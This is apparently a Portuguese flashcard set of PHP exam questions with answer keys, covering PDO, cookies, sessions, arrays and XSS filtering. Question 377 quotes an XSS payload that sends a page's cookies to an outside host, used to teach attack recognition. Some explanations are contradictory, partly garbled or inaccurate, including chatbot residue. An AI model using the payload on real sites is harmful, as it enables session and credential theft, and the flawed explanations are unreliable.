O método exec() do objeto PDO executa uma instrução SQL fornecida como parâmetro.

Neste caso, a instrução SQL é uma operação de inserção (INSERT INTO), portanto, o método exec() é a opção correta para executá-la.

Assim, para que a instrução INSERT seja executada corretamente, a indicação I deve ser substituída pela opção correta da letra A.

Gabarito: Letra A

369
Q
  1. (FCC/ TRF3- 2019) Para concatenar a string “TRF” com a variável reg que contém o valor
    inteiro 3, em Java e PHP, utilizam-se, respectivamente,

a) String(“TRF”)+reg e str(“TRF”).$reg
b) “TRF”+reg e “TRF”.$reg
c) “TRF”+reg e “TRF”+$reg
d) “TRF”,reg e Concat(“TRF”,$reg)
e) String.Concat(“TRF”,reg) e “TRF”+$reg

A

Para concatenar uma string com uma variável em Java e PHP, as linguagens utilizam diferentes operadores e métodos. Vamos analisar as opções:

Concatenação em Java:
Em Java, o operador de concatenação de strings é o +. Quando concatenamos uma string com um valor inteiro, o inteiro é convertido automaticamente para string. Portanto, para concatenar "TRF" com a variável reg, que contém o valor 3, usamos:

```java
“TRF” + reg;
~~~

Concatenação em PHP:
Em PHP, o operador de concatenação de strings é o .. Para concatenar "TRF" com a variável $reg, usamos:

```php
“TRF” . $reg;
~~~

Analisando as opções:

  • a) String(“TRF”)+reg e str(“TRF”).$reg: Incorreto, a sintaxe de Java e PHP está incorreta.
  • b) “TRF”+reg e “TRF”.$reg: Correto. Em Java, "TRF" + reg e, em PHP, "TRF" . $reg são as formas corretas de concatenação.
  • c) “TRF”+reg e “TRF”+$reg: Incorreto. Em PHP, o operador de concatenação é . e não +.
  • d) “TRF”,reg e Concat(“TRF”,$reg): Incorreto. A sintaxe está incorreta tanto em Java quanto em PHP.
  • e) String.Concat(“TRF”,reg) e “TRF”+$reg: Incorreto. O método String.Concat não é utilizado em Java, e o operador + em PHP também está incorreto.

Portanto, a resposta correta é b) “TRF”+reg e “TRF”.$reg.

Gabarito: Letra B

370
Q
  1. (FCC/ TRF3- 2019) Considere o código PHP abaixo, que faz a conexão com um banco de
    dados.

Para o código estar correto, as lacunas I e II devem ser, respectiva e corretamente,
preenchidas por

a) mysqli_connect − SQLException
b) PDOConnect − PDOException
c) mysqli_connect − Exception
d) new PDO − PDOException
e) database_connect – DataBaseException

A

A questão trata de um código PHP que realiza a conexão com um banco de dados e solicita o preenchimento correto das lacunas para que o código funcione adequadamente. Vamos analisar as opções.

Conexão com banco de dados em PHP
Existem duas maneiras principais de se conectar a um banco de dados MySQL em PHP:

  1. Usando MySQLi (procedural ou orientado a objetos).
  2. Usando PDO (PHP Data Objects), que é uma interface que permite o uso de diferentes bancos de dados com uma única interface.

Analisando as opções:

  • a) mysqli_connect − SQLException: Incorreto. mysqli_connect é a função correta para a conexão MySQLi, mas SQLException não é uma exceção válida em PHP, já que ela pertence ao Java. Em PHP, para MySQLi, as exceções são genéricas do tipo Exception.
  • b) PDOConnect − PDOException: Incorreto. Não existe uma função chamada PDOConnect em PHP. A maneira correta de usar PDO é instanciando um novo objeto com new PDO.
  • c) mysqli_connect − Exception: Correto para MySQLi. mysqli_connect é a função usada para conectar a um banco de dados MySQL, e Exception é a exceção genérica usada em PHP para capturar erros.
  • d) new PDO − PDOException: Correto para PDO. new PDO é a forma correta de instanciar uma conexão usando PDO, e PDOException é a exceção específica para erros relacionados ao PDO.
  • e) database_connect – DataBaseException: Incorreto. Não existe uma função database_connect em PHP, nem uma exceção DataBaseException.

Resumo:
- Se o código usa MySQLi, a resposta correta seria c) mysqli_connect − Exception.
- Se o código usa PDO, a resposta correta seria d) new PDO − PDOException.

Portanto, as duas opções corretas, dependendo do contexto da questão, são c) mysqli_connect − Exception e d) new PDO − PDOException.

Gabarito: Letra D

371
Q
  1. (FCC/ SANASA- 2019) Considere os comandos PHP abaixo, que objetivam criar um array.

I. $servico = array(“Água”=>”8,70”, “Esgoto”=>”4,30”);

II. $servico [ ‘Água’ ] = “8,70”; $servico [ ‘Esgoto’ ] = “4,30”;

III. $servico = new array { ‘Água’ -> “8,70”; ‘Esgoto’ -> “4,30” };

IV. $servico = array { [ “Água” ] [ “8,70” ]; [ “Esgoto” ] [ “4,30” ] };
Está correto o que consta APENAS em

a) III e IV.
b) I e III.
c) I e IV.
d) II e III.
e) I e II.

A

Vamos analisar cada comando PHP apresentado para verificar quais estão corretos para criar um array.

I.
```php
$servico = array(“Água”=>”8,70”, “Esgoto”=>”4,30”);
~~~
Esse comando está correto. Ele utiliza a função array() para criar um array associativo, onde as chaves são "Água" e "Esgoto", e os valores correspondentes são "8,70" e "4,30".

II.
```php
$servico[‘Água’] = “8,70”;
$servico[‘Esgoto’] = “4,30”;
~~~
Esse comando também está correto. Aqui, um array associativo é criado por meio da atribuição direta de valores a chaves específicas do array $servico.

III.
```php
$servico = new array { ‘Água’ -> “8,70”; ‘Esgoto’ -> “4,30” };
~~~
Esse comando está incorreto. A palavra-chave new não é usada para criar arrays em PHP, e a sintaxe -> é usada para acessar propriedades de objetos, não para definir arrays.

IV.
```php
$servico = array { [ “Água” ] [ “8,70” ]; [ “Esgoto” ] [ “4,30” ] };
~~~
Esse comando também está incorreto. A sintaxe {} usada aqui é inválida, e a forma correta de criar arrays em PHP seria com array() ou usando [] para definir chaves e valores.

Conclusão:
Os comandos corretos são apenas I e II.

Portanto, a resposta correta é e) I e II.

Gabarito: Letra E

372
Q
  1. (FCC/ TRF3- 2019) Em uma aplicação PHP, considere $conn um objeto que contém uma
    conexão válida com um banco de dados e $n uma variável string que contém o nome de uma pessoa.

Após a conexão com o banco de dados ter sido efetuada, a instrução abaixo prepara uma instrução SQL parametrizada.

$stmt = $conn->prepare(“INSERT INTO Usuarios(nome)VALUES (:nome)”);

Para passar o conteúdo da variável $n como parâmetro para a instrução SQL acima utiliza-se o comando

a) $stmt->setParam(‘:nome’, $n);
b) $stmt->bindParam($n->’:nome’);
c) $stmt->bindParam(‘:nome’, $n);
d) $stmt->setParameter($n->’:nome’);
e) $stmt->param($n, ‘:nome’);

A

O comando correto para passar o conteúdo da variável $n como parâmetro para a instrução SQL preparada é o método bindParam() da classe PDOStatement.

Portanto, a resposta correta é a opção:

c) $stmt->bindParam(‘:nome’, $n);

Este método vincula um parâmetro de substituição nomeado à variável especificada.

Gabarito: Letra C

373
Q
  1. (FCC/ Pref Manaus- 2019) Um programador web deseja armazenar dados no navegador do
    usuário para rastrear ou identificar aqueles que retornam ao site.

Para isso, no site que está sendo desenvolvido em PHP 7, deverá ser utilizada a função

a) setcookie() antes da tag html.

b) set_cookie() em qualquer local página.

c) setdrawcookie() no interior do cabeçalho da página.

d) setdrawcookie() antes do corpo da página.

e) setcookie() após tag html.

A

Para armazenar dados no navegador do usuário e rastrear ou identificar visitantes que retornam ao site, a função correta em PHP é setcookie(). Essa função define um cookie que é enviado ao navegador do usuário e armazenado, permitindo que o servidor identifique o usuário em visitas futuras.

Regras importantes sobre o uso de setcookie():
- A função setcookie() deve ser chamada antes de qualquer saída HTML, ou seja, antes de a página enviar qualquer conteúdo ao navegador, pois os cookies são enviados nos cabeçalhos HTTP.

Analisando as opções:

  • a) setcookie() antes da tag html: Correto. A função setcookie() deve ser usada antes de qualquer saída HTML, o que inclui a abertura da tag <html>.
  • b) set_cookie() em qualquer local da página: Incorreto. Além do nome da função estar incorreto (set_cookie() não existe em PHP), a função não pode ser chamada “em qualquer local da página” por causa da restrição de ser usada antes da saída de conteúdo HTML.
  • c) setdrawcookie() no interior do cabeçalho da página: Incorreto. Não existe uma função setdrawcookie() em PHP.
  • d) setdrawcookie() antes do corpo da página: Incorreto. Além de setdrawcookie() não ser uma função válida em PHP, essa instrução está incorreta.
  • e) setcookie() após tag html: Incorreto. A função setcookie() não pode ser usada após a tag <html>, pois os cookies devem ser enviados antes de qualquer saída de conteúdo HTML.

Resposta correta:
a) setcookie() antes da tag html.

Gabarito: Letra A

374
Q
  1. (FCC/ TRF4- 2019) Ataques Cross-Site Scripting (XSS) muitas vezes usam caracteres especiais em campos de formulário para
    acessar áreas restritas do site.

Para evitar esse tipo de ataque, um programador PHP recebeu o login de um usuário, digitado em um campo de formulário,
da seguinte forma.

$login = filter_input(INPUT_POST, ‘login’, __I__);

Considerando que no campo login do formulário foi digitado <comando>, para que os sinais de < (menor) e > (maior) sejam trocados por suas respectivas referências de nome de entidade, ficando no formato &lt;comando&gt;, a lacuna I deverá ser preenchida corretamente por</comando>

a) FILTER_SANITIZE_MAGIC_CHARACTERS
b) FILTER_SANITIZE_FULL_ENTITY_CHARACTERS
c) FILTER_SANITIZE_SPECIAL_CHARS
d) FILTER_SANITIZE_FULL_SPECIAL_ENTITIES
e) FILTER_SANITIZE_MAGIC_QUOTES

A

Para proteger contra ataques Cross-Site Scripting (XSS), que exploram a inserção de caracteres especiais como < e >, é comum “sanitizar” esses caracteres, convertendo-os para suas entidades HTML correspondentes, como &lt; e &gt;. Em PHP, isso pode ser feito utilizando o filtro adequado.

A função no código da questão usa:

```php
$login = filter_input(INPUT_POST, ‘login’, __I__);
~~~

A lacuna deve ser preenchida com um filtro que transforme caracteres especiais em suas entidades HTML.

Analisando as opções:

  • a) FILTER_SANITIZE_MAGIC_CHARACTERS: Não existe um filtro com esse nome no PHP, então essa opção está incorreta.
  • b) FILTER_SANITIZE_FULL_ENTITY_CHARACTERS: Também não existe um filtro com esse nome no PHP. Incorreto.
  • c) FILTER_SANITIZE_SPECIAL_CHARS: Correto. Esse filtro transforma caracteres especiais como <, >, e & em suas respectivas entidades HTML (&lt;, &gt;, &amp;), o que evita a execução de scripts injetados.
  • d) FILTER_SANITIZE_FULL_SPECIAL_ENTITIES: Não existe um filtro com esse nome em PHP. Incorreto.
  • e) FILTER_SANITIZE_MAGIC_QUOTES: Esse filtro não sanitiza caracteres especiais como < e >. Ele foi usado no passado para adicionar barras invertidas a aspas simples e duplas, mas foi descontinuado a partir do PHP 5.4. Incorreto.

Resposta correta:
c) FILTER_SANITIZE_SPECIAL_CHARS.

Gabarito: Letra C

375
Q
  1. (FCC/ Pref Manaus- 2019) Considere o fragmento de código abaixo.

<?php
$b = 3.1;
$c = true;
$d = “SEMEF”;
$e = array(“nome” => “João”,”cpf” => “145267087-1”);
var_dump($b,$c, $d, $e);
?>

Ao compilar e executar esse fragmento de código criado em PHP 7, um dos valores exibidos será exatamente

a) array(2) {“nome”=>”João”, “cpf”=>”145267087-1”}.

b) boolean(1) true.

c) string(5) “SEMEF”.

d) int(3).

e) array(2) {String (5), String (11)}.

A

O código PHP fornecido usa a função var_dump() para exibir informações sobre as variáveis. Vamos analisar o que cada variável contém e o que será exibido ao executar o fragmento de código:

```php
$b = 3.1; // um número em ponto flutuante (float)
$c = true; // um valor booleano
$d = “SEMEF”; // uma string
$e = array(“nome” => “João”,”cpf” => “145267087-1”); // um array associativo
var_dump($b, $c, $d, $e);
~~~

Análise das variáveis:

  1. $b: É um número de ponto flutuante (float), 3.1.
    • A saída será: float(3.1)
  2. $c: É um valor booleano, true.
    • A saída será: bool(true)
  3. $d: É uma string, "SEMEF".
    • A saída será: string(5) "SEMEF" (5 é o comprimento da string).
  4. $e: É um array associativo com duas chaves.
    • A saída será: array(2) { ["nome"]=> string(4) "João" ["cpf"]=> string(11) "145267087-1" } (onde 4 é o comprimento de “João” e 11 é o comprimento de “145267087-1”).

Analisando as opções:

  • a) array(2) {“nome”=>”João”, “cpf”=>”145267087-1”}.: Esta opção não é a saída exata gerada pelo var_dump(), pois a sintaxe é um pouco diferente.
  • b) boolean(1) true.: A saída correta seria bool(true), não boolean(1) true, então esta opção está incorreta.
  • c) string(5) “SEMEF”.: Correto. Essa é a saída correta para a string.
  • d) int(3).: Incorreto. $b é um float, e não um int.
  • e) array(2) {String (5), String (11)}.: Esta opção não corresponde exatamente à saída do var_dump().

Resposta correta:
c) string(5) “SEMEF”.

Gabarito: Letra C

376
Q
  1. (FCC/ DPE AM- 2018) Considere o fragmento de código PHP abaixo.

<?php
$base = new PDO(‘odbc:sample’, ‘db2B001’, ‘ibmdb2’);
$count = $base->exec(“DELETE FROM Produto WHERE nome = ‘caneta’”);
?>

A variável $count receberá

a) o valor “true”, caso o produto seja excluído com sucesso.

b) uma cópia do registro a ser excluído, para exibição e confirmação da ação pelo usuário.

c) o número de linhas excluídas da tabela pelo comando DELETE.

d) o número 1 se o registro foi excluído ou 0 se ocorrer algum erro na exclusão, mesmo que
tenha mais de um produto de nome caneta.

e) o valor “false”, caso o produto de nome caneta não esteja cadastrado.

A

Claro! Aqui está uma explicação mais detalhada sobre a questão 18:

No código PHP fornecido, a variável $count é atribuída ao resultado do método exec() após a execução de um comando SQL DELETE. O código é o seguinte:

```php
$base = new PDO(‘odbc:sample’, ‘db2B001’, ‘ibmdb2’);
$count = $base->exec(“DELETE FROM Produto WHERE nome = ‘caneta’”);
~~~

O que acontece:

  • O método exec() é usado para executar comandos SQL que não retornam dados (como INSERT, UPDATE e DELETE).
  • Ao executar o comando DELETE, $count receberá o número de linhas que foram excluídas da tabela.

Resposta correta:

c) o número de linhas excluídas da tabela pelo comando DELETE.

Se não houver registros correspondentes, $count será 0. Se houver, ele conterá o número de linhas deletadas.

Gabarito: Letra C

377
Q
  1. (FCC/ TRT2- 2018) Considere o trecho de programa PHP abaixo.

<?php
setcookie(‘PHPSSESID’, ‘meu_sid’);
setcookie(‘login’, ‘meu_login’);
setcookie(‘senha’, ‘minha_senha’);
echo $_GET[‘var’];
?>

Supondo que ao executar este trecho, um usuário passou como entrada:

<script>
document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(//g,'')+'></iframe>')
</script>

cujo objetivo é capturar os dados de cookie do site alvo e enviá-los para o site www.coletor.com

Um Técnico de TI conclui corretamente que

a) o trecho com a instrução echo imprime os dados passados pelo usuário, sem oferecer
vulnerabilidades ao site alvo.

b) nada ocorrerá, pois o usuário não poderia passar a entrada indicada.

c) o navegador, ao perceber que a entrada se trata de um script, encerrará o código sem
executar o echo.

d) trata-se de um ataque do tipo XSS, pois com os dados de cookie é possível capturar senhas
de e-mail.

e) trata-se de um ataque do tipo SQL-Injection, pois o usuário invasor inseriu uma consulta
que será enviada diretamente para o banco de dados relacional.

A

Vamos analisar o trecho de código PHP e a entrada do usuário fornecida, considerando os conceitos de segurança da web e os tipos de ataques mencionados nas opções.

Código PHP:

```php
<?php
setcookie(‘PHPSSESID’, ‘meu_sid’);
setcookie(‘login’, ‘meu_login’);
setcookie(‘senha’, ‘minha_senha’);
echo $_GET[‘var’];
?>
~~~

Entrada do Usuário:

```html


document.write('<iframe width=1 height=1 src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(//g,'')+'></iframe>')

~~~

Análise

  1. Função setcookie: O código define cookies com valores que podem conter informações sensíveis, como login e senha.
  2. Uso de echo: O comando echo $_GET['var']; imprime qualquer valor que seja passado como um parâmetro na URL (por exemplo, script.php?var=<script>...).
  3. Entrada Maliciosa: A entrada do usuário injetada é um script JavaScript que cria um iframe invisível, o qual captura os cookies da página e os envia para um servidor externo (www.coletor.com). Isso é um ataque de Cross-Site Scripting (XSS).

Opções:

  • a) O trecho com a instrução echo imprime os dados passados pelo usuário, sem oferecer vulnerabilidades ao site alvo.
    Incorreta. O código é vulnerável a XSS, pois permite a execução de scripts injetados.
  • b) Nada ocorrerá, pois o usuário não poderia passar a entrada indicada.
    Incorreta. O usuário pode passar a entrada via URL.
  • c) O navegador, ao perceber que a entrada se trata de um script, encerrará o código sem executar o echo.
    Incorreta. O navegador executará o script, já que ele não é bloqueado pelo PHP.
  • d) Trata-se de um ataque do tipo XSS, pois com os dados de cookie é possível capturar senhas de e-mail.
    Correta. O código é vulnerável a XSS, permitindo que um invasor capture cookies e outras informações sensíveis.
  • e) Trata-se de um ataque do tipo SQL-Injection, pois o usuário invasor inseriu uma consulta que será enviada diretamente para o banco de dados relacional.
    Incorreta. A entrada não é uma consulta SQL, mas sim um script JavaScript.

Resumo da Resposta Correta:

d) Trata-se de um ataque do tipo XSS, pois com os dados de cookie é possível capturar senhas de e-mail.

Gabarito: Letra D

378
Q
  1. (FCC/ TRT2- 2018) Um Técnico de TI que está programando em PHP 5 orientado a objetos deseja declarar uma função (ou método) especial na classe que será executada
    automaticamente em 4 possíveis situações:

a) quando o objeto for deslocado da memória, b) quando se atribui o valor NULL a ele,
c) quando se utiliza a função unset() sobre ele ou
d)quando a aplicação for finalizada.

A função correta que ele deseja declarar é a

a) __end()
b) __destruct()
c) __destroy()
d) __garbageColect()
e) __trash()

A

O técnico deseja declarar um método especial na classe que será executado automaticamente
em determinadas situações.

Esses métodos especiais em PHP são conhecidos como métodos mágicos.

Para atender aos requisitos do técnico, a função correta que ele deseja declarar é o método
__destruct().

Este método é invocado automaticamente quando um objeto é destruído ou limpo da memória, seja porque não há mais referências a ele, porque foi definido como NULL, porque a
função unset() foi aplicada a ele ou quando a aplicação é finalizada.

Assim, a resposta correta é a alternativa b) __destruct()

Gabarito: Letra B

379
Q
  1. (FCC/ DPE AM- 2018) O PHP suporta cookies HTTP como um mecanismo para identificar um
    usuário.

Para criar um cookie podem ser usadas as funções

a) setcookie() ou createcookie().
b) setCookie($_COOKIE) ou initCookie($_COOKIE).
c) initCookie() ou createCookie().
d) applycookie() e setcookie().
e) setcookie() ou setrawcookie().

A

Em PHP, para criar um cookie HTTP, você pode usar a função setcookie() ou setrawcookie().

setcookie(): Esta função é usada para definir um cookie HTTP. Ela aceita vários parâmetros, como o nome do cookie, o valor, o tempo de expiração, o caminho, o domínio, entre outros.

Por exemplo: setcookie(“nome”, “valor”, time() + 3600, “/”);

A função setrawcookie() é semelhante ao setcookie(), mas permite que você defina o valor do cookie sem codificar automaticamente caracteres especiais. Isso é útil quando você precisa armazenar dados que já estão codificados.

Por exemplo: setrawcookie(“nome”,
rawurlencode($valor), time() + 3600, “/”);

Gabarito: Letra E

380
Q
  1. (FGV/ ALEMA- 2023) No âmbito da linguagem PHP, assinale o operador utilizado na
    concatenação de strings.

a) &
b) .
c) :
d) |
e) +

A

FGV não sendo a “FGV”! Gente, que questão para não zerar hein? Desculpe pelo comentário,
mas essa é a realidade!

No PHP, o operador utilizado para a concatenação de strings é o ponto (.), correspondendo à opção:b) . Assim, o gabarito correto é a letra B.

Gabarito: Letra B

381
Q
  1. (FGV / TJ RN- 2023) Analise o trecho de código a seguir, usado para recuperar o valor de um cookie.

$cookie_name = “usuario”;
if(!isset($_COOKIE[$cookie_name])) {
echo “Cookie ‘” . $cookie_name . “’ ausente!<br></br>”;
} else {
echo “Cookie ‘” . $cookie_name . “’ OK!<br></br>”;
echo “Valor: “ . $_COOKIE[$cookie_name];
}
Esse é um código:

a) Angular;
b) Django;
c) JavaScript;
d) jQuery;
e) PHP.

A

Meu Deus! Como as pessoas falam tão mal da FGV assim, ela é um amorzinho ❤️ Meu amor
todinho declarado por você FGV!

Brincadeiras a parte, mais uma questão tranquila da temida FGV. Este trecho de código é específico da linguagem PHP.

Ele demonstra a verificação da existência de um cookie e, em seguida, a impressão de uma mensagem e do valor do cookie, se este existir.

A variável superglobal $_COOKIE é utilizada para acessar cookies em PHP.

Portanto, o gabarito é: e) PHP.

Gabarito: Letra E

382
Q
  1. (FGV / ALEMA- 2023) Analise o código a seguir.

<form>
<p>Nome: <input></input></p>
<p>Idade: <input></input></p>
<p><input></input></p>
</form>

Assinale o conteúdo adequado para o arquivo teste.php.

a) $_POST:Oi<?php echo htmlspecialchars([‘nome’]); ?>. Tu tens <?php put (int)[‘idade’]; ?> anos.

b) Oi <? echo htmlspecialchars($_GET[‘nome’]); /?>. Tu tens <? echo (int)$_GET[‘idade’]; /?> anos.

c) Oi <?php echo htmlspecialchars($_GET[‘nome’]); ?>. Tu tens <?php print (int)$_GET[‘idade’]; ?> anos.

d) Oi <?php echo htmlspecialchars($_POST[‘nome’]); ?>. Tu tens <?php echo (int)$_POST[‘idade’]; ?> anos.

e) Oi <?php echo htmlspecialchars($_POST[‘nome’]); ?>. Tu tens <?php print (int)$_POST[‘idade’]; /?> anos.

A

Vamos analisar o código HTML e as opções fornecidas para o arquivo teste.php.

Código HTML:

```html

<form>
<p>Nome: <input></input></p>
<p>Idade: <input></input></p>
<p><input></input></p>
</form>

~~~

Análise:

  • O formulário usa o método post, o que significa que os dados serão enviados ao arquivo teste.php através da superglobal $_POST.

Avaliação das Opções:

Vamos avaliar cada uma das opções para verificar qual delas é a mais adequada para processar os dados do formulário.

  • a) $_POST:Oi<?php echo htmlspecialchars(['nome']); ?>. Tu tens <?php put (int)['idade']; ?> anos.
    • Incorreta. O uso de ['nome'] está errado, deveria ser $_POST['nome']. Além disso, put não é uma função válida.
  • b) Oi <? echo htmlspecialchars($_GET['nome']); /?>. Tu tens <? echo (int)$_GET['idade']; /?> anos.
    • Incorreta. Usa $_GET em vez de $_POST, e a tag de fechamento está errada.
  • c) Oi <?php echo htmlspecialchars($_GET['nome']); ?>. Tu tens <?php print (int)$_GET['idade']; ?> anos.
    • Incorreta. Também usa $_GET em vez de $_POST.
  • d) Oi <?php echo htmlspecialchars($_POST['nome']); ?>. Tu tens <?php echo (int)$_POST['idade']; ?> anos.
    • Correta. A opção usa $_POST, o que é apropriado, e sanitiza a entrada usando htmlspecialchars para evitar XSS.
  • e) Oi <?php echo htmlspecialchars($_POST['nome']); ?>. Tu tens <?php print (int)$_POST['idade']; /?> anos.
    • Incorreta. A única diferença em relação à opção d é que usa print em vez de echo, mas a tag de fechamento está errada (/?> deveria ser ?>).

Resumo da Resposta Correta:

d) Oi <?php echo htmlspecialchars($_POST[‘nome’]); ?>. Tu tens <?php echo (int)$_POST[‘idade’]; ?> anos.

Gabarito: Letra D

383
Q
  1. (FGV / PGM Niterói- 2023) Com referência aos comandos include e require num script PHP, é correto afirmar que os dois comandos:

a) diferem na utilização, pois somente o comando include permite trechos em JavaScript;

b) diferem na utilização, pois somente o comando require permite trechos em JavaScript;

c) diferem no comportamento apenas quando referenciam arquivos erroneamente;

d) são idênticos em todos os aspectos;

e) têm funções completamente distintas.

A

Vamos analisar as diferenças entre os comandos include e require em PHP para determinar a resposta correta.

Comandos include e require:

  1. Uso Geral:
    • Ambos são usados para incluir arquivos em um script PHP, permitindo reutilizar código e organizar melhor o programa.
  2. Comportamento em Caso de Erro:
    • include: Se o arquivo especificado não for encontrado, PHP emitirá um warning, mas o script continuará a ser executado.
    • require: Se o arquivo não for encontrado, PHP emitirá um fatal error, e a execução do script será interrompida.

Avaliação das Opções:

  • a) Diferem na utilização, pois somente o comando include permite trechos em JavaScript.
    • Incorreta. Ambos os comandos podem incluir trechos de JavaScript; a diferença não está relacionada ao JavaScript.
  • b) Diferem na utilização, pois somente o comando require permite trechos em JavaScript.
    • Incorreta. O mesmo vale para o comando require; ambos podem incluir código JavaScript.
  • c) Diferem no comportamento apenas quando referenciam arquivos erroneamente.
    • Correta. A principal diferença entre include e require é que eles se comportam de maneira diferente quando o arquivo não é encontrado.
  • d) São idênticos em todos os aspectos.
    • Incorreta. Existem diferenças significativas no comportamento em caso de erro.
  • e) Têm funções completamente distintas.
    • Incorreta. As funções são semelhantes, mas diferem principalmente em como lidam com erros.

Resumo da Resposta Correta:

c) diferem no comportamento apenas quando referenciam arquivos erroneamente.

Gabarito: Letra C

384
Q
  1. (FGV / DPE RS- 2023) Na falta do operador XOR (disjunção exclusiva), a expressão lógica
    a xor b pode ser expressa como:

a) (a and not b) or (not a and b)
b) a or b
c) not (a and b) or not (a or b)
d) not (a or b)
e) not a and not b

A

Essa expressão é verdadeira apenas quando exatamente uma das variáveis, a ou b, é verdadeira.

Gabarito: Letra A

385
Q
  1. (FGV / TJ SE- 2023) No contexto do PHP, a função die() é operacionalmente semelhante a
    uma outra função da linguagem, cujo nome é:

a) catch;
b) eval;
c) exit;
d) pack;
e) sleep.

A

Pessoal, no contexto do PHP, a função die() é utilizada para imprimir uma mensagem e terminar a execução do script.

Ela é operacionalmente semelhante à função exit(), pois ambas são usadas para encerrar a execução do script imediatamente.

Portanto, a função semelhante à die() é c) exit.

Ambas die() e exit() têm o mesmo efeito de interromper a execução do script PHP e retornar um código de status.

Gabarito: Letra C

386
Q
  1. (FGV / TJ SE- 2023) No contexto do PHP, analise a estrutura simplificada de uma página Web exibida a seguir, onde a numeração serve meramente como referência a cada uma das linhas.

1 <!DOCTYPE html>
2 <html>
3 <body>
4 <?php
5 $_SESSION[“xxxxx”] = “aaaaaaa”;
6 $_SESSION[“yyyyy”] = “bbbbbbb”;
7 ?>
8 </body>
9 </html>

Nesse contexto, considere as três linhas de códigos abaixo.

<?php
session_start();
?>

A inserção em bloco dessas linhas adicionais, na página acima, deve ser feita:

a) antes da linha 1;
b) entre as linhas 2 e 3;
c) entre as linhas 3 e 4;
d) entre as linhas 7 e 8;
e) depois da linha 9.

A

No PHP, a função session_start() é utilizada para iniciar ou resumir uma sessão existente.

Ela deve ser chamada antes de qualquer saída para o navegador, como tags HTML ou espaços em branco, para garantir que as sessões funcionem corretamente.

Portanto, pessoal, a adição das linhas <?php session_start(); ?> deve ser feita antes de qualquer outra saída para o navegador.

Na estrutura fornecida, isso significa que essas linhas devem ser inseridas antes da linha 1, pois não há nenhuma saída para o navegador antes dessa linha.

Assim, o local correto para a inserção é a alternativa A sendo ela nosso gabarito.

Gabarito: Letra A

387
Q
  1. (FGV / ALEMA- 2023) No PHP, a função assemelhada à função split() do JavaScript, quando aplicada a uma string, é denominada

a) collate.
b) divide.
c) explode.
d) partition.
e) strip.

A

Percebeu como a FGV gosta de cobrar itens semelhantes/diferentes? Fique ligado nisso! No
JavaScript, a função split() é usada para dividir uma string em um array de substrings, com base em um delimitador especificado.

Já, no PHP, a função equivalente é explode().

Ela também divide uma string em um array de substrings, usando um delimitador específico.

Assim, tanto split() em JavaScript quanto explode() em PHP têm a mesma função de dividir uma string em substrings com base em um delimitador especificado.

Gabarito: Letra C

388
Q
  1. (FGV / ALEMA- 2023) No contexto da utilização de sessões na linguagem PHP, analise as seguintes afirmativas:

I. A função start_function(), que inicia uma sessão, não admite parâmetros de configuração;

II. A função session_unset() encerra uma sessão;

III. Todos os valores de variáveis de sessão são armazenados na variável global $_SESSION.

Está correto o que se afirma em

a) I, apenas.
b) II, apenas.
c) III, apenas.
d) I e II, apenas.
e) II e III, apenas.

A

Vamos analisar cada uma das afirmativas sobre o uso de sessões em PHP:

Afirmativas

I. A função start_function(), que inicia uma sessão, não admite parâmetros de configuração.
- Incorreta. A função correta para iniciar uma sessão é session_start(), que pode aceitar parâmetros de configuração através de uma array associativa para sessões personalizadas.

II. A função session_unset() encerra uma sessão.
- Incorreta. A função session_unset() é usada para liberar todas as variáveis de sessão, mas não encerra a sessão. Para encerrar uma sessão, deve-se usar session_destroy().

III. Todos os valores de variáveis de sessão são armazenados na variável global $_SESSION.
- Correta. A superglobal $_SESSION é a variável que armazena todas as variáveis de sessão em PHP.

Avaliação das Opções

  • a) I, apenas.
    • Incorreta. Afirmativa I está errada.
  • b) II, apenas.
    • Incorreta. Afirmativa II está errada.
  • c) III, apenas.
    • Correta. Afirmativa III está correta.
  • d) I e II, apenas.
    • Incorreta. Ambas as afirmativas estão erradas.
  • e) II e III, apenas.
    • Incorreta. Afirmativa II está errada, enquanto III está correta.

Resumo da Resposta Correta:

c) III, apenas.

Gabarito: Letra: C

389
Q
  1. (FGV / DPE RS- 2023) Uma forma de criar dicionários no PHP é com a utilização de arrays
    associativos, em que o uso de índices textuais permite a definição de chaves associadas aos
    valores das posições indexadas.

O código utilizado para imprimir os valores como itens de uma lista HTML é:

a) for($key = $_START; $key <= $_END; $key++)
echo(“<li>”.$key.” :: “.$values[$key].”</li>”);

b) for($item in $values)
echo(“<li>”.$item->key.” :: “.$item->value.”</li>”);

c) foreach($values as $key=>$value)
echo(“<li> $key :: $value </li>”);

d) for $item in range($_START,$_END):
echo(“<li>”.$item->key.” :: “.$item->value.”</li>”);

e) foreach $key=>$value in range($_START,$_END):
echo(“<li> $key :: $value </li>”);

A

A forma correta de imprimir os valores de um array associativo como itens de uma lista HTML em PHP é:

c)
```php
foreach($values as $key=>$value)
echo(“<li> $key :: $value </li>”);
~~~

Esta opção utiliza foreach, que permite percorrer as chaves e valores do array associativo de maneira adequada. As demais opções estão incorretas.

Gabarito: Letra C

390
Q
  1. (FGV / SEMSA Manaus- 2022) Assinale a opção que indica o trecho PHP corretamente
    codificado para definir um array e exibir o número de elementos ali contidos.

a) <?php
$carros = array(“Ferrari”, “Maserati”, “Porsche”);
echo count($carros);
?>

b) <?php
$carros = array{“Ferrari”, “Maserati”, “Porsche”};
echo lenght($carros);
?>

c) <?php
$carros = array[“Ferrari”, “Maserati”, “Porsche”];
echo $carros.lenght;
?>

d) <?php
‘$carros := {“Ferrari”, “Maserati”, “Porsche”};
echo size($carros);
?>

e) <?php
$carros := [“Ferrari”, “Maserati”, “Porsche”;
echo $carros.size;
?>

A

Pessoal, essa questão quer saber como definir um array e exibir o número de elementos ali
contidos. A forma correta de fazer isso é utilizando a função array para a definição e count para contar os elementos. Portanto, a opção correta é:

<?php
$carros = array(“Ferrari”, “Maserati”, “Porsche”);
echo count($carros);
?>

Nesta opção, $carros é corretamente definido como um array contendo três strings. A função
count é usada para retornar o número de elementos no array $carros.

As outras opções contêm erros de sintaxe ou utilizam funções e métodos inexistentes ou
incorretos para a definição de arrays e a contagem de seus elementos no PHP. Por exemplo, lenght é um erro de digitação comum para length, mas a função correta para contar elementos de um array em PHP é count, não existe função length para arrays em PHP.

Da mesma forma, size e a notação . para acesso de propriedades ou métodos são incorretas no contexto de arrays PHP.

Gabarito: Letra A

391
Q
  1. (FGV / TJ TO- 2022) Num script PHP, a função que permite verificar se um cookie está
    definido é:

a) active()
b) cookie_value()
c) exists()
d) isset()
e) status()

A

A função que permite verificar se um cookie está definido em um script PHP é:

d) isset()

